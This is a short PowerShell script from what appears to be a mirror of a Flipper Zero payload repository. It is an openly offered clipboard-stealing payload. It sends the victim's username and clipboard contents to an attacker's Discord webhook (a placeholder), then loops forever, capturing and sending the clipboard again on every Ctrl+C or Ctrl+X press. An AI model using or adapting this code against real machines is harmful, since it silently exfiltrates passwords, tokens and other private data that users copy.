mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 22:40:14 +00:00
36 lines
967 B
PowerShell
36 lines
967 B
PowerShell
Add-Type -AssemblyName WindowsBase
|
|
Add-Type -AssemblyName PresentationCore
|
|
|
|
function dischat {
|
|
|
|
[CmdletBinding()]
|
|
param (
|
|
[Parameter (Position=0,Mandatory = $True)]
|
|
[string]$con
|
|
)
|
|
|
|
$hookUrl = 'YOUR DISCORD WEBHOOK'
|
|
|
|
$Body = @{
|
|
'username' = $env:username
|
|
'content' = $con
|
|
}
|
|
|
|
|
|
Invoke-RestMethod -Uri $hookUrl -Method 'post' -Body $Body
|
|
|
|
}
|
|
|
|
|
|
dischat (get-clipboard)
|
|
|
|
while (1){
|
|
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
|
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::RightCtrl)
|
|
$cKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::c)
|
|
$xKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::x)
|
|
|
|
if (($Lctrl -or $Rctrl) -and ($xKey -or $cKey)) {dischat (Get-Clipboard)}
|
|
elseif ($Rctrl -and $Lctrl) {dischat "---------connection lost----------";exit}
|
|
else {continue}
|
|
} |